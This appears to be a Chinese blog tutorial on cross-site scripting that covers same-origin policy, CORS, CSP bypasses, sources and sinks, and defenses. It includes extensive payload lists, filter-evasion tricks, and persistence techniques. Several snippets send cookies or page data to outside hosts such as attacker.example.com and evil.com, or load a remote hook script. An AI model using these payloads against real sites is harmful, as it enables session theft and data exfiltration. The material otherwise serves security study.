【Web安全黑铁到传说】五.常见漏洞攻防之XSS篇基础详解（数据源、保护、持续化）

原创

代码熬夜敲 于 2021-05-31 14:10:51 发布 1295 收藏 1
分类专栏： Web安全架构零基础学习（0→1） 文章标签： 网络安全 渗透测试 Java xss web

本文链接：https://blog.csdn.net/MachineGunJoe/article/details/117414970

Web安全架构零基础学习（0→1） 专栏收录该内容
40 篇文章 17 订阅
订阅专栏

目录

4.2. XSS

4.2.1.1. 简介

XSS全称为Cross Site Scripting，为了和CSS分开简写为XSS，中文名为跨站脚本。该漏洞发生在用户端，是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

4.2.1.2. 反射型XSS

反射型XSS是比较常见和广泛的一类，举例来说，当一个网站的代码中包含类似下面的语句：`<?php echo "<p>hello, $_GET['user']</p>";?>`，那么在访问时设置`/?user=</p><script>alert("hack")</script><p>`，则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中，需要被攻击者点击对应的链接才能触发，且受到XSS Auditor、NoScript等防御手段的影响较大。

4.2.1.3. 储存型XSS

储存型XSS相比反射型来说危害较大，在这种漏洞中，攻击者能够把攻击载荷存入服务器的数据库中，造成持久化的攻击。

4.2.1.4. DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系，而是在JavaScript脚本动态执行的过程中产生的。

例如

```
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
    var str = document.getElementById("input").value;
    document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
```

输入 `x' onerror='javascript:alert(/xss/)` 即可触发。

4.2.1.5. Blind XSS

Blind XSS是储存型XSS的一种，它保存在某些存储中，当一个“受害者”访问这个页面时执行，并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。

4.2.2. 危害

存在XSS漏洞时，可能会导致以下几种情况：

1. 用户的Cookie被获取，其中可能存在Session ID等敏感信息。若服务器端没有做相应防护，攻击者可用对应Cookie登陆服务器。
2. 攻击者能够在一定限度内记录用户的键盘输入。
3. 攻击者通过CSRF等方式以用户身份执行危险操作。
4. XSS蠕虫。
5. 获取用户浏览器信息。
6. 利用XSS漏洞扫描用户内网。

4.2.3. 同源策略

4.2.3.1. 简介

同源策略限制了不同源之间如何进行资源交互，是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定，URL由协议、域名、端口和路径组成，如果两个URL的协议、域名和端口相同，则表示他们同源。

4.2.3.1.1. file域的同源策略

在之前的浏览器中，任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始，文件使用了更细致的同源策略，只有当源文件的父目录是目标文件的祖先目录时，文件才能读取另一个文件。

4.2.3.1.2. cookie的同源策略

cookie使用不同的源定义方式，一个页面可以为本域和任何父域设置cookie，只要是父域不是公共后缀(public suffix)即可。

不管使用哪个协议(HTTP/HTTPS)或端口号，浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时，可以使用 `domain` / `path` / `secure` 和 `http-only` 标记来限定其访问性。

所以 `https://localhost:8080/` 和 `http://localhost:8081/` 的Cookie是共享的。

4.2.3.1.3. Flash/SilverLight跨域

浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml，设置本服务允许哪些域名的跨域访问。

客户端会请求此文件，如果发现自己的域名在访问列表里，就发起真正的请求，否则不发送请求。

4.2.3.2. 源的更改

同源策略认为域和子域属于不同的域，例
如 `child1.a.com` 与 `a.com` / `child1.a.com` 与 `child2.a.com` / `xxx.child1.a.com` 与 `child1.a.com` 两两不同源。

对于这种情况，可以在两个方面各自设置 `document.domain='a.com'` 来改变其源来实现以上任意两个页面之间的通信。

另外因为浏览器单独保存端口号，这种赋值会导致端口号被重写为 `null` 。

4.2.3.3. 跨源访问

同源策略控制了不同源之间的交互，这些交互通常分为三类：

通常允许跨域写操作(Cross-origin writes)

- 链接(links)
- 重定向
- 表单提交

- 通常允许跨域资源嵌入(Cross-origin embedding)
- 通常不允许跨域读操作(Cross-origin reads)

可能嵌入跨源的资源的一些示例有：

- `<script src="..."></script>` 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
- `<link rel="stylesheet" href="...">` 标签嵌入CSS。由于CSS的松散的语法规则，CSS的跨域需要一个设置正确的Content-Type 消息头。
- `<img>` / `<video>` / `<audio>` 嵌入多媒体资源。
- `<object>` `<embed>` 和 `<applet>` 的插件。
- `@font-face` 引入的字体。一些浏览器允许跨域字体(cross-origin fonts)，一些需要同源字体(same-origin fonts)。
- `<frame>` 和 `<iframe>` 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

4.2.3.3.1. JSONP跨域

JSONP就是利用 `<script>` 标签的跨域能力实现跨域数据的访问，请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。

服务端收到请求后，动态生成脚本产生数据，并在代码中以产生的数据为参数调用callback函数。

JSONP也存在一些安全问题，例如当对传入/传回参数没有做校验就直接执行返回的时候，会造成XSS问题。没有做Referer或Token校验就给出数据的时候，可能会造成数据泄露。

另外JSONP在没有设置callback函数的白名单情况下，可以合法的做一些设计之外的函数调用，引入问题。这种攻击也被称为SOME攻击。

4.2.3.3.2. 跨源脚本API访问

Javascript的APIs中，如 `iframe.contentWindow`, `window.parent`, `window.open` 和 `window.opener` 允许文档间相互引用。当两个文档的源不同时，这些引用方式将对 `window` 和 `location` 对象的访问添加限制。

`window` 允许跨源访问的方法有

- window.blur
- window.close
- window.focus
- window.postMessage

`window` 允许跨源访问的属性有

- window.closed
- window.frames
- window.length
- window.location
- window.opener
- window.parent
- window.self
- window.top
- window.window

其中 `window.location` 允许读/写，其他的属性只允许读

4.2.3.3.3. 跨源数据存储访问

存储在浏览器中的数据，如 `localStorage` 和 `IndexedDB`，以源进行分割。每个源都拥有自己单独的存储空间，一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。

4.2.3.4. CORS

CORS是一个W3C标准，全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准，可以允许浏览器读取跨域的资源。

4.2.3.4.1. 常见请求头

Origin

- 预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段
- `Origin: <origin>`

Access-Control-Request-Method

- 声明请求使用的方法
- `Access-Control-Request-Method: <method>`

Access-Control-Request-Headers

- 声明请求使用的header字段
- `Access-Control-Request-Headers: <field-name>[, <field-name>]*`

④ 网络安全基础入门、Linux运维，web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ **渗透测试工具大全**

⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全

各位朋友们可以关注+评论一波 然后加下QQ群：581499282 备注：csdn 联系管理大大即可免费获取全部资料

4.2.3.4.2. 常见返回头

Access-Control-Allow-Origin

- 声明允许访问的源外域URI
- 对于携带身份凭证的请求不可使用通配符 `*`
- `Access-Control-Allow-Origin: <origin> | *`

Access-Control-Expose-Headers

- 声明允许暴露的头
- e.g. `Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header`

Access-Control-Max-Age

- 声明Cache时间
- `Access-Control-Max-Age: <delta-seconds>`

Access-Control-Allow-Credentials

- 声明是否允许在请求中带入
- `Access-Control-Allow-Credentials: true`

Access-Control-Allow-Methods

- 声明允许的访问方式
- `Access-Control-Allow-Methods: <method>[, <method>]*`

Access-Control-Allow-Headers

- 声明允许的头
- `Access-Control-Allow-Headers: <field-name>[, <field-name>]*`

4.2.3.4.3. 防御建议

- 如非必要不开启CORS
- 定义详细的白名单，不使用通配符，仅配置所需要的头
- 配置 `Vary: Origin` 头部
- 如非必要不使用 `Access-Control-Allow-Credentials`
- 限制缓存的时间

4.2.3.5. 阻止跨源访问

阻止跨域写操作，可以检测请求中的 `CSRF token` ，这个标记被称为Cross-Site Request Forgery (CSRF) 标记。

阻止资源的跨站读取，因为嵌入资源通常会暴露信息，需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 `Content-Type` 消息头。例如如果在HTML文档中指定 `<script>` 标记，则浏览器会尝试将HTML解析为JavaScript。

4.2.4. CSP

4.2.4.1. CSP是什么？

Content Security Policy，简称 CSP，译作内容安全策略。顾名思义，这个规范与内容安全有关，主要是用来定义哪些资源可以被当前页面加载，减少 XSS 的发生。

4.2.4.2. 配置

CSP策略可以通过 HTTP 头信息或者 meta 元素定义。

CSP 有三类：

- Content-Security-Policy (Google Chrome)
- X-Content-Security-Policy (Firefox)
- X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

```
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
```

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的，而Content-Security-Policy-Report-Only则是允许服务器检查（非强制）一个策略。多个头的策略定义由优先采用最先定义的。

HTML Meta :

```
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
```

4.2.4.2.1. 指令说明

指令	说明
default-src	定义资源默认加载策略
connect-src	定义 Ajax、WebSocket 等加载策略
font-src	定义 Font 加载策略
frame-src	定义 Frame 加载策略
img-src	定义图片加载策略
media-src	定义 <audio>、<video> 等引用资源加载策略
object-src	定义 <applet>、<embed>、<object> 等引用资源加载策略
script-src	定义 JS 加载策略
style-src	定义 CSS 加载策略
base-uri	定义 <base> 根URL策略，不使用default-src作为默认值
sandbox	值为 allow-forms，对资源启用 sandbox
report-uri	值为 /report-uri，提交日志

4.2.4.2.2. 关键字

`-`

- 允许从任意url加载，除了 `data:` `blob:` `filesystem:` schemes
- e.g. `img-src -`

`none`

- 禁止从任何url加载资源
- e.g. `object-src 'none'`

`self`

- 只可以加载同源资源
- e.g. `img-src 'self'`

`data:`

- 可以通过data协议加载资源
- e.g. `img-src 'self' data:`

`domain.example.com`

- e.g. `img-src domain.example.com`
- 只可以从特定的域加载资源

`\*.example.com`

- e.g. `img-src \*.example.com`
- 可以从任意example.com的子域处加载资源

`https://cdn.com`

- e.g. `img-src https://cdn.com`
- 只能从给定的域用https加载资源

`https:`

- e.g. `img-src https:`
- 只能从任意域用https加载资源

`unsafe-inline`

- 允许内部资源执行代码例如style attribute,onclick或者是sicript标签
- e.g. `script-src 'unsafe-inline'`

`unsafe-eval`

- 允许一些不安全的代码执行方式，例如js的eval()
- e.g. `script-src 'unsafe-eval'`

`nonce-<base64-value>'`

- 使用随机的nonce，允许加载标签上nonce属性匹配的标签
- e.g. `script-src 'nonce-bm9uY2U='`

`<hash-algo>-<base64-value>'`

- 允许hash值匹配的代码块被执行
- e.g. `script-src 'sha256-<base64-value>'`

4.2.4.2.3. 配置范例

允许执行内联 JS 代码，但不允许加载外部资源

```
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
```

4.2.4.3. Bypass

4.2.4.3.1. 预加载

浏览器为了增强用户体验，让浏览器更有效率，就有一个预加载的功能，大体是利用浏览器空闲时间去加载指定的内容，然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline，则用预加载的方式可以向外界发出请求，例如

```
<!-- 预加载某个页面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 预加载某个图片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 预解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件类型预加载 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->
```

另外，不是所有的页面都能够被预加载，当资源类型如下时，讲阻止预加载操作：

- URL中包含下载资源
- 页面中包含音频、视频
- POST、PUT和DELET操作的ajax请求
- HTTP认证
- HTTPS页面
- 含恶意软件的页面
- 弹窗页面
- 占用资源很多的页面
- 打开了chrome developer tools开发工具

4.2.4.3.2. MIME Sniff

举例来说，csp禁止跨站读取脚本，但是可以跨站读img，那么传一个含有脚本的img，再``<script href='http://xxx.com/xx.jpg'>``，这里csp认为是一个img，绕过了检查，如果网站没有回正确的mime type，浏览器会进行猜测，就可能加载该img作为脚本

4.2.4.3.3. 302跳转

对于302跳转绕过CSP而言，实际上有以下几点限制：

- 跳板必须在允许的域内。
- 要加载的文件的host部分必须跟允许的域的host部分一致

4.2.4.3.4. iframe

当可以执行代码时，可以创建一个源为 `css` `js` 等静态文件的frame，在配置不当时，该frame并不存在csp，则在该frame下再次创建frame，达到bypass的目的。同理，使用 `../../../` `/%2e%2e%2f` 等可能触发服务器报错的链接也可以到达相应的目的。

4.2.4.3.5. base-uri

当script-src为nonce或无限制，且base-uri无限制时，可通过 `base` 标签修改根URL来bypass，如下加载了http://evil.com/main.js

```
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js"></script>
```

4.2.4.3.6. 其他

location 绕过

可上传SVG时，通过恶意SVG绕过同源站点

存在CRLF漏洞且可控点在CSP上方时，可以注入HTTP响应中影响CSP解析

CND Bypass，如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass

Angular versions <1.5.9 >=1.5.0，存在漏洞 Git Pull Request

jQuery sourcemap

```
document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
```

a标签的ping属性

For FireFox `<META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cn`

```
<link rel="import" />
```

```
<meta http-equiv="refresh" content="0; url=http://...." />
```

仅限制 `script-src` 时：

- `<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object>`

4.2.5. XSS数据源

4.2.5.1. URL

- `location`
- `location.href`
- `location.pathname`
- `location.search`
- `location.hash`
- `document.URL`
- `document.documentURI`
- `document.baseURI`

4.2.5.2. Navigation

- `window.name`
- `document.referrer`

4.2.5.3. Communication

- `Ajax`
- `Fetch`
- `WebSocket`
- `PostMessage`

4.2.5.4. Storage

- `Cookie`
- `LocalStorage`
- `SessionStorage`

4.2.6. Sink

4.2.6.1. 执行JavaScript

- `eval(payload)`
- `setTimeout(payload, 100)`
- `setInterval(payload, 100)`
- `Function(payload)()`
- `<script>payload</script>`
- `<img src=x onerror=payload>`

4.2.6.2. 加载URL

- `location=javascript:alert(/xss/)`
- `location.href=javascript:alert(/xss/)`
- `location.assign(javascript:alert(/xss/))`

- `location.replace(javascript:alert(/xss/))`

4.2.6.3. 执行HTML

- `xx.innerHTML=payload`
- `xx.outerHTML=payload`
- `document.write(payload)`
- `document.writeln(payload)`

4.2.7. XSS保护

4.2.7.1. HTML过滤

使用一些白名单或者黑名单来过滤用户输入的HTML，以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。

4.2.7.2. X-Frame

X-Frame-Options 响应头有三个可选的值：

DENY

- 页面不能被嵌入到任何iframe或frame中

SAMEORIGIN

- 页面只能被本站页面嵌入到iframe或者frame中

ALLOW-FROM

- 页面允许frame或frame加载

4.2.7.3. XSS保护头

基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制，如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中，那么这段呈现的恶意代码要么被删除，要么被转义，恶意代码不会被正常的渲染出来。

而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。

要设置浏览器的防护机制，则可使用X-XSS-Protection字段 该字段有三个可选的值

- `0`：表示关闭浏览器的XSS防护机制
- `1`：删除检测到的恶意代码， 如果响应报文中没有看到 X-XSS-Protection 字段，那么浏览器就认为X-XSS-Protection配置为1，这是浏览器的默认设置
- `1; mode=block`：如果检测到恶意代码，在不渲染恶意代码

FireFox没有相关的保护机制，如果需要保护，可使用NoScript等相关插件。

4.2.8. WAF Bypass

- 利用<>标记

  利用html属性

  - href
  - lowsrc
  - bgsound
  - background
  - value
  - action
  - dynsrc

  关键字

  - 利用回车拆分

    字符串拼接

- `window["al" + "ert"]`

利用编码绕过

- base64
- jsfuck
- String.fromCharCode
- HTML
- URL

  hex

  - `window["\x61\x6c\x65\x72\x74"]`
- unicode

  utf7

  - `+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-`
- utf16

- 大小写混淆
- 对标签属性值转码
- 产生事件
- css跨站解析

  长度限制bypass

  - `eval(name)`
  - `eval(hash)`
  - `import`
  - `$.getScript`
  - `$.get`

  .

  - 使用 。 绕过IP/域名
  - `document['cookie']` 绕过属性取值
- 过滤引号用 ``` 绕过

4.2.9. 技巧

4.2.9.1. httponly

- 在cookie为httponly的情况下，可以通过xss直接在源站完成操作，不直接获取cookie。
- 在有登录操作的情况下，部分站点直接发送登录请求可能会带有cookie
- 部分特定版本的浏览器可能会在httponly支持/处理上存在问题
- 低版本浏览器支持 TRACE / TRACK，可获取敏感的header字段
- phpinfo 等页面可能会回显信息，这些信息中包含http头
- 通过xss劫持页面钓鱼
- 通过xss伪造oauth等授权请求，远程登录

4.2.9.2. CSS 注入

4.2.9.2.1. 基本介绍

CSS注入最早开始于利用CSS中的 `expression()` `url()` `regex()` 等函数或特性来引入外部的恶意代码，但是随着浏览器的发展，这种方式被逐渐禁用，与此同时，出现了一些新的攻击方式。

4.2.9.2.2. CSS selectors

```
<style>
    #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
    #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
    #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
    [...]
</style>
<form action="http://example.com" id="form2">
    <input type="text" id="secret" name="secret" value="abc">
</form>
```

上图是利用CSS selectors完成攻击的一个示例

4.2.9.2.3. Abusing Unicode Range

当可以插入CSS的时候，可以使用 `font-face` 配合 `unicode-range` 获取目标网页对应字符集。PoC如下

```
<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
```

当字符较多时，则可以结合 `::first-line` 等CSS属性缩小范围，以获取更精确的内容

4.2.9.3. Bypass Via Script Gadgets

4.2.9.3.1. 简介

一些网站会使用白名单或者一些基于DOM的防御方式，对这些方式，有一种被称为 `Code Reuse` 的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似，使用目标中的合法代码来达到绕过防御措施的目的。在论文 `Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets` 中有该方法的具体描述。

portswigger的一篇博文也表达了类似的想法 `https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations`。

下面有一个简单的例子，这个例子使用了 `DOMPurify` 来加固，但是因为引入了 `jquery.mobile.js` 导致可以被攻击。

4.2.9.3.2. 例子

```
// index.php
<?php

$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Preview</title>
    <script type="text/javascript" src="purify.js"></script>
    <script type="text/javascript" src="jquery.js"></script>
    <script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>

    <script type="text/javascript">
    var d= atob('<?php echo $msg; ?>');
    var cleanvar = DOMPurify.sanitize(d);
    document.write(cleanvar);
    </script>

</body>
</html>
```

```
// payload
<div data-role=popup id='-->
&lt;script&gt;alert(1)&lt;/script&gt;'>
</div>
```

4.2.9.4. RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击，依赖于浏览器和网络服务器的反应，利用服务器的 Web 缓存技术和配置差异。

4.2.10. Payload

4.2.10.1. 常用

- `<script>alert(/xss/)</script>`
- `<svg onload=alert(document.domain)>`
- `<img src=document.domain onerror=alert(document.domain)>`
- `<M onmouseover=alert(document.domain)>M`
- `<marquee onscroll=alert(document.domain)>`
- `<a href=javascript:alert(document.domain)>M</a>`
- `<body onload=alert(document.domain)>`
- `<details open ontoggle=alert(document.domain)>`
- `<embed src=javascript:alert(document.domain)>`

4.2.10.2. 大小写绕过

- `<script>alert(1)</script>`
- `<sCrIpT>alert(1)</sCrIpT>`
- `<ScRiPt>alert(1)</ScRiPt>`
- `<sCrIpT>alert(1)</ScRiPt>`
- `<ScRiPt>alert(1)</sCrIpT>`
- `<img src=1 onerror=alert(1)>`

- <iMg src=1 oNeRrOr=alert(1)>
- <ImG src=1 OnErRoR=alert(1)>
- <img src=1 onerror="alert("M")">
- <marquee onscroll=alert(1)>
- <mArQuEe OnScRoLl=alert(1)>
- <MaRqUeE oNsCrOlL=alert(1)>

4.2.10.3. 各种alert

- <script>alert(1)</script>
- <script>confirm(1)</script>
- <script>prompt(1)</script>
- <script>alert('1')</script>
- <script>alert("1")</script>
- <script>alert`1`</script>
- <script>(alert)(1)</script>
- <script>a=alert,a(1)</script>
- <script>[1].find(alert)</script>
- <script>top["al"+"ert"](1)</script>
- <script>top["a"+"l"+"e"+"r"+"t"](1)</script>
- <script>top[/al/.source+/ert/.source](1)</script>
- <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

4.2.10.4. 伪协议

- M
- M
- M
- M

4.2.10.5. Chrome XSS auditor bypass

- ?param=https://&param=@z.exeye.io/import%20rel=import%3E
- <base href=javascript:/M/>M
- <base href=javascript:/M/><iframe src=,alert(1)></iframe>

4.2.10.6. 长度限制

```
<script>s+="l"</script>
\...
<script>eval(s)</script>
```

4.2.10.7. jquery sourceMappingURL

```
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
```

4.2.10.8. 图片名

```
"><img src=x onerror=alert(document.cookie)>.gif
```

4.2.10.9. 过期的payload

- src=javascript:alert基本不可以用
- css expression特性只在旧版本ie可用

4.2.10.10. css

```
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
```

4.2.10.11. markdown

```
[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
```

4.2.10.12. iframe

```
<iframe onload='
    var sc   = document.createElement("scr" + "ipt");
    sc.type  = "text/javascr" + "ipt";
    sc.src   = "http://1.2.3.4/js/hook.js";
    document.body.appendChild(sc);
    '
/>
```

- `<iframe src=javascript:alert(1)></iframe>`
- `<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>`
- `<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>`
- `<iframe srcdoc=<svg/onload=alert(1)>></iframe>`
- `<iframe src=https://baidu.com width=1366 height=768></iframe>`
- `<iframe src=javascript:alert(1) width=1366 height=768></iframe`

4.2.10.13. form

- `<form action=javascript:alert(1)><input type=submit>`
- `<form><button formaction=javascript:alert(1)>M`
- `<form><input formaction=javascript:alert(1) type=submit value=M>`
- `<form><input formaction=javascript:alert(1) type=image value=M>`
- `<form><input formaction=javascript:alert(1) type=image src=1>`

4.2.10.14. meta

```
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
```

4.2.11. 持久化

4.2.11.1. 基于存储

有时候网站会将信息存储在Cookie或localStorage，而因为这些数据一般是网站主动存储的，很多时候没有对Cookie或localStorage中取出的数据做过滤，会直接将其取出并展示在页面中，甚至存了JSON格式的数据时，部分站点存在 `eval(data)` 之类的调用。因此当有一个XSS时，可以把payload写入其中，在对应条件下触发。

在一些条件下，这种利用方式可能因为一些特殊字符造成问题，可以使用 `String.fromCharCode` 来绕过。

4.2.11.2. Service Worker

Service Worker可以拦截http请求，起到类似本地代理的作用，故可以使用Service Worker Hook一些请求，在请求中返回攻击代码，以实现持久化攻击的目的。

在Chrome中，可通过 `chrome://inspect/#service-workers` 来查看Service Worker的状态，并进行停止。

4.2.11.3. AppCache

在可控的网络环境下（公共wifi），可以使用AppCache机制，来强制存储一些Payload，未清除的情况下，用户访问站点时对应的payload会一直存在。

4.2.12. 参考链接

4.2.12.1. wiki

- AwesomeXSS
- w3c
- dom xss wiki
- content-security-policy.com
- markdwon xss
- xss cheat sheet
- html5 security cheatsheet
- http security headers
- XSSChallengeWiki

4.2.12.2. Challenges

- XSS Challenge By Google
- prompt to win

4.2.12.3. CSS

- rpo
- rpo攻击初探
- Reading Data via CSS
- css based attack abusing unicode range
- css injection
- css timing attack

4.2.12.4. 同源策略

- Same origin policy
- cors security guide
- logically bypassing browser security boundaries

4.2.12.5. bypass

- 666 lines of xss payload
- xss auditor bypass
- xss auditor bypass writeup
- bypassing csp using polyglot jpegs
- bypass xss filters using javascript global variables

4.2.12.6. 持久化

- 变种XSS 持久控制 by tig3r
- Using Appcache and ServiceWorker for Evil

4.2.12.7. Tricks

- Service Worker 安全探索
- 前端黑魔法

看到这里的大佬，动动发财的小手 点赞 + 回复 + 收藏，能【 关注 】一波就更好了

为了感谢读者们，我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家，回馈每一个读者，希望能帮到你们。

干货主要有：

① 2000多本网安必看电子书（主流和经典的书籍应该都有了）

② PHP标准库资料（最全中文版）

③ 项目源码（四五十个有趣且经典的练手项目及源码）

④ 网络安全基础入门、Linux运维，web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ **渗透测试工具大全**

⑦ 2021网络安全/Web安全/渗透测试工程师面试手册大全

各位朋友们可以关注+评论一波 然后加下QQ群：581499282 备注：csdn 联系管理大大即可免费获取全部资料